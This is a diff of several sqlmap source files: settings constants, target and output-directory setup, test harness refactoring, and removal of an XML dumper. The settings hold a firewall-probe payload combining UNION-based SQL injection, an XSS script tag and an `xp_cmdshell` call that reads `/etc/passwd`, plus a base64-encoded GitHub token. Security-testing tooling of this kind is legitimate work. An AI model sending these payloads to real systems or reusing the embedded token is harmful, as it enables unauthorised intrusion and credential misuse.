@@ -130,6 +144,9 @@ HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
# Default timeout for running commands over backdoor
BACKDOOR_RUN_CMD_TIMEOUT = 5
# Number of seconds to wait for thread finalization at program end
THREAD_FINALIZATION_TIMEOUT = 1
# Maximum number of techniques used in inject.py/getValue() per one value
MAX_TECHNIQUES_PER_VALUE = 2
@@ -207,6 +224,7 @@ SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
"SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my")
@@ -219,10 +237,11 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
@@ -281,12 +300,17 @@ BLANK = "<blank>"
# String representation for current database
CURRENT_DB = "CD"
# Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P<result>[^<>]+?) on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>.+?)$",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>",
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
)
# Regular expression used for parsing charset info from meta html headers
@@ -350,7 +374,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "DBINFO(", "'%s'" % CHAR_INFERENCE_MARK)
# Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
@@ -445,7 +469,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"
# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = ('3ds', '3g2', '3gp', '7z', 'DS_Store', 'a', 'aac', 'adp', 'ai', 'aif', 'aiff', 'apk', 'ar', 'asf', 'au', 'avi', 'bak', 'bin', 'bk', 'bmp', 'btif', 'bz2', 'cab', 'caf', 'cgm', 'cmx', 'cpio', 'cr2', 'dat', 'deb', 'djvu', 'dll', 'dmg', 'dmp', 'dng', 'doc', 'docx', 'dot', 'dotx', 'dra', 'dsk', 'dts', 'dtshd', 'dvb', 'dwg', 'dxf', 'ear', 'ecelp4800', 'ecelp7470', 'ecelp9600', 'egg', 'eol', 'eot', 'epub', 'exe', 'f4v', 'fbs', 'fh', 'fla', 'flac', 'fli', 'flv', 'fpx', 'fst', 'fvt', 'g3', 'gif', 'gz', 'h261', 'h263', 'h264', 'ico', 'ief', 'image', 'img', 'ipa', 'iso', 'jar', 'jpeg', 'jpg', 'jpgv', 'jpm', 'jxr', 'ktx', 'lvp', 'lz', 'lzma', 'lzo', 'm3u', 'm4a', 'm4v', 'mar', 'mdi', 'mid', 'mj2', 'mka', 'mkv', 'mmr', 'mng', 'mov', 'movie', 'mp3', 'mp4', 'mp4a', 'mpeg', 'mpg', 'mpga', 'mxu', 'nef', 'npx', 'o', 'oga', 'ogg', 'ogv', 'otf', 'pbm', 'pcx', 'pdf', 'pea', 'pgm', 'pic', 'png', 'pnm', 'ppm', 'pps', 'ppt', 'pptx', 'ps', 'psd', 'pya', 'pyc', 'pyo', 'pyv', 'qt', 'rar', 'ras', 'raw', 'rgb', 'rip', 'rlc', 'rz', 's3m', 's7z', 'scm', 'scpt', 'sgi', 'shar', 'sil', 'smv', 'so', 'sub', 'swf', 'tar', 'tbz2', 'tga', 'tgz', 'tif', 'tiff', 'tlz', 'ts', 'ttf', 'uvh', 'uvi', 'uvm', 'uvp', 'uvs', 'uvu', 'viv', 'vob', 'war', 'wav', 'wax', 'wbmp', 'wdp', 'weba', 'webm', 'webp', 'whl', 'wm', 'wma', 'wmv', 'wmx', 'woff', 'woff2', 'wvx', 'xbm', 'xif', 'xls', 'xlsx', 'xlt', 'xm', 'xpi', 'xpm', 'xwd', 'xz', 'z', 'zip', 'zipx')
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
# Patterns often seen in HTTP headers containing custom injection marking character
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -456,8 +480,8 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
# Template used for common column existence check
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
# Payload used for checking of existence of IDS/WAF (dummier the better)
IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd"
# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
# Data inside shellcodeexec to be filled with random string
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
@@ -493,20 +517,20 @@ PARSE_HEADERS_LIMIT = 3
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10
# Maximum number of times for revalidation of a character in time-based injections
MAX_TIME_REVALIDATION_STEPS = 5
# Maximum number of times for revalidation of a character in inference (as required)
MAX_REVALIDATION_STEPS = 5
# Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
PARAMETER_SPLITTING_REGEX = r'[,|;]'
PARAMETER_SPLITTING_REGEX = r"[,|;]"
# Regular expression describing possible union char value (e.g. used in --union-char)
UNION_CHAR_REGEX = r'\A\w+\Z'
UNION_CHAR_REGEX = r"\A\w+\Z"
# Attribute used for storing original parameter value in special cases (e.g. POST)
UNENCODED_ORIGINAL_VALUE = 'original'
UNENCODED_ORIGINAL_VALUE = "original"
# Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor')
COMMON_USER_COLUMNS = ("user", "username", "user_name", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor")
# Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&'
@@ -518,7 +542,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "YzNkYTgyMTdjYzdjNjZjMjFjMWE5ODI5OGQyNzk2ODM1M2M0MzUyOA=="
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
# Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32
@@ -530,7 +554,7 @@ HASHDB_FLUSH_RETRIES = 3
HASHDB_END_TRANSACTION_RETRIES = 3
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
HASHDB_MILESTONE_VALUE = "WVMqopmuzX" # "".join(random.sample(string.ascii_letters, 10))
HASHDB_MILESTONE_VALUE = "BkfRWrtCYK" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
# Warn user of possible delay due to large page dump in full UNION query injections
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -556,9 +580,15 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
# Alphabet used for heuristic checks
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
# Minor artistic touch
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
# Regular expression used for recognition of file inclusion errors
FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*"
# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -566,7 +596,10 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
# Maximum (multi-threaded) length of entry in bisection algorithm
MAX_BISECTION_LENGTH = 50 * 1024 * 1024
@@ -584,7 +617,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CloudFlare")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
# Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -596,7 +629,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal")
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -646,6 +679,9 @@ SUHOSIN_MAX_VALUE_LENGTH = 512
# Minimum size of an (binary) entry before it can be considered for dumping to disk
MIN_BINARY_DISK_DUMP_SIZE = 100
# Filenames of payloads xml files (in order of loading)
PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")
# Regular expression used for extracting form tags
FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"
@@ -677,7 +713,7 @@ BRUTE_DOC_ROOT_PREFIXES = {
}
# Suffixes used in brute force search for web server document root
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build")
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
# String used for marking target name inside used brute force web server document root
BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
+31 -29
View File
@@ -21,6 +21,7 @@ from lib.core.common import intersect
from lib.core.common import normalizeUnicode
from lib.core.common import openFile
from lib.core.common import paramToDict
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import resetCookieJar
from lib.core.common import urldecode
@@ -35,6 +36,7 @@ from lib.core.dump import dumper
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import PLACE
from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapFilePathException
@@ -66,7 +68,6 @@ from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import XML_RECOGNITION_REGEX
from lib.utils.hashdb import HashDB
from lib.core.xmldump import dumper as xmldumper
from thirdparty.odict.odict import OrderedDict
def _setRequestParams():
@@ -214,9 +215,9 @@ def _setRequestParams():
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. www.site.com/article.php?id=1) "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters "
warnMsg += "through --data option"
warnMsg += "through option '--data'"
logger.warn(warnMsg)
message = "do you want to try URI injections "
@@ -370,7 +371,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
@@ -531,7 +532,7 @@ def _setResultsFile():
except (OSError, IOError), ex:
try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1]
conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
logger.warn(warnMsg)
@@ -542,7 +543,7 @@ def _setResultsFile():
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep)
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
@@ -591,11 +592,7 @@ def _createDumpDir():
conf.dumpPath = tempDir
def _configureDumper():
if hasattr(conf, 'xmlFile') and conf.xmlFile:
conf.dumper = xmldumper
else:
conf.dumper = dumper
conf.dumper = dumper
conf.dumper.setOutputFile()
def _createTargetDirs():
@@ -603,28 +600,33 @@ def _createTargetDirs():
Create the output directory.
"""
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir:
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to create regular output directory "
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths.SQLMAP_OUTPUT_PATH = tempDir
paths.SQLMAP_OUTPUT_PATH = tempDir
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
+31 -27
View File
@@ -25,6 +25,7 @@ from lib.core.common import readXmlFile
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.log import LOGGER_HANDLER
@@ -40,6 +41,8 @@ class Failures(object):
failedParseOn = None
failedTraceBack = None
_failures = Failures()
def smokeTest():
"""
Runs the basic smoke testing of a program
@@ -52,16 +55,17 @@ def smokeTest():
if any(_ in root for _ in ("thirdparty", "extra")):
continue
for ifile in files:
length += 1
for filename in files:
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
length += 1
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")):
continue
for ifile in files:
if os.path.splitext(ifile)[1].lower() == ".py" and ifile != "__init__.py":
path = os.path.join(root, os.path.splitext(ifile)[0])
for filename in files:
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
path = os.path.join(root, os.path.splitext(filename)[0])
path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.')
try:
@@ -70,7 +74,7 @@ def smokeTest():
except Exception, msg:
retVal = False
dataToStdout("\r")
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, ifile), msg)
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg)
logger.error(errMsg)
else:
# Run doc tests
@@ -79,9 +83,9 @@ def smokeTest():
if failure_count > 0:
retVal = False
count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
clearConsoleLine()
if retVal:
@@ -191,11 +195,11 @@ def liveTest():
else:
errMsg = "test failed"
if Failures.failedItems:
errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems)
if _failures.failedItems:
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
errMsg += " - traceback: %s" % bool(Failures.failedTraceBack)
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
if not vulnerable:
errMsg += " - SQL injection not detected"
@@ -203,14 +207,14 @@ def liveTest():
logger.error(errMsg)
test_case_fd.write("%s\n" % errMsg)
if Failures.failedParseOn:
if _failures.failedParseOn:
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
console_output_fd.write(Failures.failedParseOn)
console_output_fd.write(_failures.failedParseOn)
console_output_fd.close()
if Failures.failedTraceBack:
if _failures.failedTraceBack:
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
traceback_fd.write(Failures.failedTraceBack)
traceback_fd.write(_failures.failedTraceBack)
traceback_fd.close()
beep()
@@ -231,11 +235,11 @@ def liveTest():
return retVal
def initCase(switches, count):
Failures.failedItems = []
Failures.failedParseOn = None
Failures.failedTraceBack = None
_failures.failedItems = []
_failures.failedParseOn = None
_failures.failedTraceBack = None
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count)
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
@@ -277,10 +281,10 @@ def runCase(parse):
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
if unhandled_exception:
Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
retVal = None
elif handled_exception:
Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
retVal = None
elif result is False: # this means no SQL injection has been detected - if None, ignore
retVal = False
@@ -297,17 +301,17 @@ def runCase(parse):
if item.startswith("r'") and item.endswith("'"):
if not re.search(item[2:-1], parse_on, re.DOTALL):
retVal = None
Failures.failedItems.append(item)
_failures.failedItems.append(item)
elif item not in parse_on:
retVal = None
Failures.failedItems.append(item)
_failures.failedItems.append(item)
if Failures.failedItems:
Failures.failedParseOn = console
if _failures.failedItems:
_failures.failedParseOn = console
elif retVal is False:
Failures.failedParseOn = console
_failures.failedParseOn = console
return retVal
+4 -1
View File
@@ -42,8 +42,10 @@ class _ThreadData(threading.local):
self.disableStdOut = False
self.hashDBCursor = None
self.inTransaction = False
self.lastCode = None
self.lastComparisonPage = None
self.lastComparisonHeaders = None
self.lastComparisonCode = None
self.lastErrorPage = None
self.lastHTTPError = None
self.lastRedirectMsg = None
@@ -57,6 +59,7 @@ class _ThreadData(threading.local):
self.retriesCount = 0
self.seqMatcher = difflib.SequenceMatcher(None)
self.shared = shared
self.validationRun = 0
self.valueStack = []
ThreadData = _ThreadData()
@@ -201,7 +204,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = False
for lock in kb.locks.values():
if lock.locked_lock():
if lock.locked():
try:
lock.release()
except thread.error:
+2 -2
View File
@@ -44,7 +44,7 @@ class Wordlist(object):
try:
_ = zipfile.ZipFile(self.current, 'r')
except zipfile.error, ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
@@ -70,7 +70,7 @@ class Wordlist(object):
try:
retVal = self.iter.next().rstrip()
except zipfile.error, ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
-536
View File
@@ -1,536 +0,0 @@
#!/usr/bin/env python
import codecs
import os
import re
import xml
import xml.sax.saxutils as saxutils
from lib.core.common import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapFilePathException
from lib.core.settings import UNICODE_ENCODING
from thirdparty.prettyprint import prettyprint
from xml.dom.minidom import Document
from xml.parsers.expat import ExpatError
TECHNIC_ELEM_NAME = "Technic"
TECHNICS_ELEM_NAME = "Technics"
BANNER_ELEM_NAME = "Banner"
COLUMNS_ELEM_NAME = "DatabaseColumns"
COLUMN_ELEM_NAME = "Column"
CELL_ELEM_NAME = "Cell"
COLUMN_ATTR = "column"
ROW_ELEM_NAME = "Row"
TABLES_ELEM_NAME = "tables"
